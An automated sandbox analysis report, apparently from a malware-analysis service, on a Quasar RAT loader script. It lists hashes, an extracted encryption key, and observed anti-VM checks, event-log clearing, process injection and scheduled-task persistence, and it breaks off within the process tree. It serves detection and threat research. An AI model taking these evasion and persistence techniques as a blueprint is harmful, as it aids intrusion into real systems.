quasar | d7a0ceac47ad88b84af4d9c27ebaf1665823eacbd50aa4e72e142cd1f76cc459

Analysis

max time kernel
150s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
05-01-2025 03:47

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Loader.cmd
Size

7.3MB
MD5

1bec1098946595a03fa067a3ef7ce292
SHA1

89cfb4a2f8800f1b944d906d959639907672317d
SHA256

a8f184a333fb89f41ddca323472463b4ee2cbed63d26d105823300148e2015cb
SHA512

dc7e73ed353d50b73a0eb6f1d955812a29fc5e05df300487d1eda49cc78e6748929a17cd59b58148f7e8696fd0fdfd21e8269af6788f1037bda6d8ddf30c6082
SSDEEP

49152:262lW3ZtqF71E0f+DP24xmB1F+RfHhZzvTUPbFJMg0FQ5/Ai4cr5YSW7iFsihJv1:k

Score

10^/10

quasar defense_evasion execution spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

encryption_key
6F38862AF940DB0B877E1A5C024641D617D7FAB6
reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/1652-2101-0x000002AF5DB90000-0x000002AF5E314000-memory.dmp	family_quasar

Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 6072 created 5036	6072	WerFault.exe	83
PID 1540 created 1652	1540	WerFault.exe	98

Suspicious use of NtCreateUserProcessOtherParentProcess 6 IoCs

description	pid	Process	procid_target
PID 5036 created 640	5036	powershell.exe	5
PID 2560 created 5036	2560	svchost.exe	83
PID 1652 created 640	1652	powershell.exe	5
PID 2560 created 1652	2560	svchost.exe	98
PID 2560 created 1652	2560	svchost.exe	98
PID 2560 created 5992	2560	svchost.exe	106

Blocklisted process makes network request 14 IoCs

flow	pid	Process
2	1652	powershell.exe
4	1652	powershell.exe
5	1652	powershell.exe
6	1652	powershell.exe
7	1652	powershell.exe
8	1652	powershell.exe
10	1652	powershell.exe
11	1652	powershell.exe
12	1652	powershell.exe
13	1652	powershell.exe
14	1652	powershell.exe
15	1652	powershell.exe
16	1652	powershell.exe
17	1652	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5036	powershell.exe
1652	powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe

Deletes itself 1 IoCs

pid	Process
5036	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
5992	oTnzMN.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WER-Diag%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\$nya-O6m9w1RV	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 22 IoCs

pid	Process
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe
1652	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 5036 set thread context of 1476	5036	powershell.exe	84
PID 1652 set thread context of 2420	1652	powershell.exe	99

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	powershell.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\$rbx-onimai2	powershell.exe
File created	C:\Windows\$rbx-onimai2\$rbx-CO2.bat	cmd.exe
File opened for modification	C:\Windows\$nya-onimai2	powershell.exe
File created	C:\Windows\$nya-onimai2\oTnzMN.exe	powershell.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe

Checks processor information in registry 2 TTPs 21 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe

Enumerates system info in registry 2 TTPs 7 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe

Modifies data under HKEY_USERS 62 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\System32\fveui.dll,-843 = "BitLocker Drive Encryption"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\System32\fveui.dll,-844 = "BitLocker Data Recovery Agent"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\System32\ci.dll,-100 = "Isolated User Mode (IUM)"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1736048923"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\System32\wuaueng.dll,-400 = "Windows Update"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\system32\NgcRecovery.dll,-100 = "Windows Hello Recovery Key Encryption"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\System32\ci.dll,-101 = "Enclave"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={653E096B-9E4D-47F6-B577-E2111D84F0A8}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sun, 05 Jan 2025 03:48:43 GMT"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5036	powershell.exe
5036	powershell.exe
5036	powershell.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe
1476	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3328	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5036	powershell.exe
Token: SeDebugPrivilege	1476	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2748	svchost.exe
Token: SeIncreaseQuotaPrivilege	2748	svchost.exe
Token: SeSecurityPrivilege	2748	svchost.exe
Token: SeTakeOwnershipPrivilege	2748	svchost.exe
Token: SeLoadDriverPrivilege	2748	svchost.exe
Token: SeSystemtimePrivilege	2748	svchost.exe
Token: SeBackupPrivilege	2748	svchost.exe
Token: SeRestorePrivilege	2748	svchost.exe
Token: SeShutdownPrivilege	2748	svchost.exe
Token: SeSystemEnvironmentPrivilege	2748	svchost.exe
Token: SeUndockPrivilege	2748	svchost.exe
Token: SeManageVolumePrivilege	2748	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2748	svchost.exe
Token: SeIncreaseQuotaPrivilege	2748	svchost.exe
Token: SeSecurityPrivilege	2748	svchost.exe
Token: SeTakeOwnershipPrivilege	2748	svchost.exe
Token: SeLoadDriverPrivilege	2748	svchost.exe
Token: SeSystemtimePrivilege	2748	svchost.exe
Token: SeBackupPrivilege	2748	svchost.exe
Token: SeRestorePrivilege	2748	svchost.exe
Token: SeShutdownPrivilege	2748	svchost.exe
Token: SeSystemEnvironmentPrivilege	2748	svchost.exe
Token: SeUndockPrivilege	2748	svchost.exe
Token: SeManageVolumePrivilege	2748	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2748	svchost.exe
Token: SeIncreaseQuotaPrivilege	2748	svchost.exe
Token: SeSecurityPrivilege	2748	svchost.exe
Token: SeTakeOwnershipPrivilege	2748	svchost.exe
Token: SeLoadDriverPrivilege	2748	svchost.exe
Token: SeSystemtimePrivilege	2748	svchost.exe
Token: SeBackupPrivilege	2748	svchost.exe
Token: SeRestorePrivilege	2748	svchost.exe
Token: SeShutdownPrivilege	2748	svchost.exe
Token: SeSystemEnvironmentPrivilege	2748	svchost.exe
Token: SeUndockPrivilege	2748	svchost.exe
Token: SeManageVolumePrivilege	2748	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2748	svchost.exe
Token: SeIncreaseQuotaPrivilege	2748	svchost.exe
Token: SeSecurityPrivilege	2748	svchost.exe
Token: SeTakeOwnershipPrivilege	2748	svchost.exe
Token: SeLoadDriverPrivilege	2748	svchost.exe
Token: SeSystemtimePrivilege	2748	svchost.exe
Token: SeBackupPrivilege	2748	svchost.exe
Token: SeRestorePrivilege	2748	svchost.exe
Token: SeShutdownPrivilege	2748	svchost.exe
Token: SeSystemEnvironmentPrivilege	2748	svchost.exe
Token: SeUndockPrivilege	2748	svchost.exe
Token: SeManageVolumePrivilege	2748	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2748	svchost.exe
Token: SeIncreaseQuotaPrivilege	2748	svchost.exe
Token: SeSecurityPrivilege	2748	svchost.exe
Token: SeTakeOwnershipPrivilege	2748	svchost.exe
Token: SeLoadDriverPrivilege	2748	svchost.exe
Token: SeSystemtimePrivilege	2748	svchost.exe
Token: SeBackupPrivilege	2748	svchost.exe
Token: SeRestorePrivilege	2748	svchost.exe
Token: SeShutdownPrivilege	2748	svchost.exe
Token: SeSystemEnvironmentPrivilege	2748	svchost.exe
Token: SeUndockPrivilege	2748	svchost.exe
Token: SeManageVolumePrivilege	2748	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2748	svchost.exe
Token: SeIncreaseQuotaPrivilege	2748	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1652	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5316 wrote to memory of 3248	5316	cmd.exe	78
PID 5316 wrote to memory of 3248	5316	cmd.exe	78
PID 5316 wrote to memory of 5516	5316	cmd.exe	79
PID 5316 wrote to memory of 5516	5316	cmd.exe	79
PID 5316 wrote to memory of 2416	5316	cmd.exe	80
PID 5316 wrote to memory of 2416	5316	cmd.exe	80
PID 5316 wrote to memory of 5844	5316	cmd.exe	81
PID 5316 wrote to memory of 5844	5316	cmd.exe	81
PID 5316 wrote to memory of 3840	5316	cmd.exe	82
PID 5316 wrote to memory of 3840	5316	cmd.exe	82
PID 5316 wrote to memory of 5036	5316	cmd.exe	83
PID 5316 wrote to memory of 5036	5316	cmd.exe	83
PID 5036 wrote to memory of 1476	5036	powershell.exe	84
PID 5036 wrote to memory of 1476	5036	powershell.exe	84
PID 5036 wrote to memory of 1476	5036	powershell.exe	84
PID 5036 wrote to memory of 1476	5036	powershell.exe	84
PID 5036 wrote to memory of 1476	5036	powershell.exe	84
PID 5036 wrote to memory of 1476	5036	powershell.exe	84
PID 5036 wrote to memory of 1476	5036	powershell.exe	84
PID 5036 wrote to memory of 1476	5036	powershell.exe	84
PID 1476 wrote to memory of 640	1476	dllhost.exe	5
PID 1476 wrote to memory of 696	1476	dllhost.exe	7
PID 1476 wrote to memory of 992	1476	dllhost.exe	12
PID 1476 wrote to memory of 432	1476	dllhost.exe	13
PID 1476 wrote to memory of 468	1476	dllhost.exe	14
PID 1476 wrote to memory of 952	1476	dllhost.exe	15
PID 1476 wrote to memory of 1072	1476	dllhost.exe	16
PID 1476 wrote to memory of 1120	1476	dllhost.exe	17
PID 1476 wrote to memory of 1164	1476	dllhost.exe	19
PID 1476 wrote to memory of 1184	1476	dllhost.exe	20
PID 1476 wrote to memory of 1192	1476	dllhost.exe	21
PID 1476 wrote to memory of 1284	1476	dllhost.exe	22
PID 1476 wrote to memory of 1348	1476	dllhost.exe	23
PID 1476 wrote to memory of 1468	1476	dllhost.exe	24
PID 1476 wrote to memory of 1480	1476	dllhost.exe	25
PID 1476 wrote to memory of 1568	1476	dllhost.exe	26
PID 1476 wrote to memory of 1580	1476	dllhost.exe	27
PID 1476 wrote to memory of 1712	1476	dllhost.exe	28
PID 1476 wrote to memory of 1728	1476	dllhost.exe	29
PID 1476 wrote to memory of 1776	1476	dllhost.exe	30
PID 1476 wrote to memory of 1872	1476	dllhost.exe	31
PID 1476 wrote to memory of 1908	1476	dllhost.exe	32
PID 1476 wrote to memory of 1772	1476	dllhost.exe	33
PID 1476 wrote to memory of 1804	1476	dllhost.exe	34
PID 1476 wrote to memory of 2076	1476	dllhost.exe	35
PID 1476 wrote to memory of 2092	1476	dllhost.exe	36
PID 1476 wrote to memory of 2160	1476	dllhost.exe	37
PID 1476 wrote to memory of 2268	1476	dllhost.exe	39
PID 1476 wrote to memory of 2404	1476	dllhost.exe	40
PID 1476 wrote to memory of 2508	1476	dllhost.exe	41
PID 1476 wrote to memory of 2520	1476	dllhost.exe	42
PID 1476 wrote to memory of 2584	1476	dllhost.exe	43
PID 1476 wrote to memory of 2660	1476	dllhost.exe	44
PID 1476 wrote to memory of 2680	1476	dllhost.exe	45
PID 1476 wrote to memory of 2700	1476	dllhost.exe	46
PID 1476 wrote to memory of 2748	1476	dllhost.exe	47
PID 1476 wrote to memory of 2784	1476	dllhost.exe	48
PID 1476 wrote to memory of 3064	1476	dllhost.exe	49
PID 1476 wrote to memory of 2568	1476	dllhost.exe	50
PID 1476 wrote to memory of 3152	1476	dllhost.exe	51
PID 1476 wrote to memory of 3328	1476	dllhost.exe	52
PID 1476 wrote to memory of 3480	1476	dllhost.exe	53
PID 1476 wrote to memory of 3500	1476	dllhost.exe	54
PID 1476 wrote to memory of 3872	1476	dllhost.exe	57

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:640
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:432
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{b2eef300-1bbb-4ab8-9e40-da5cd3f2d960}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1476
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{f4eddd3b-94fd-4ab3-8aeb-41a6c915f5e0}
  2⤵
  PID:2420

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:468

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:952

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
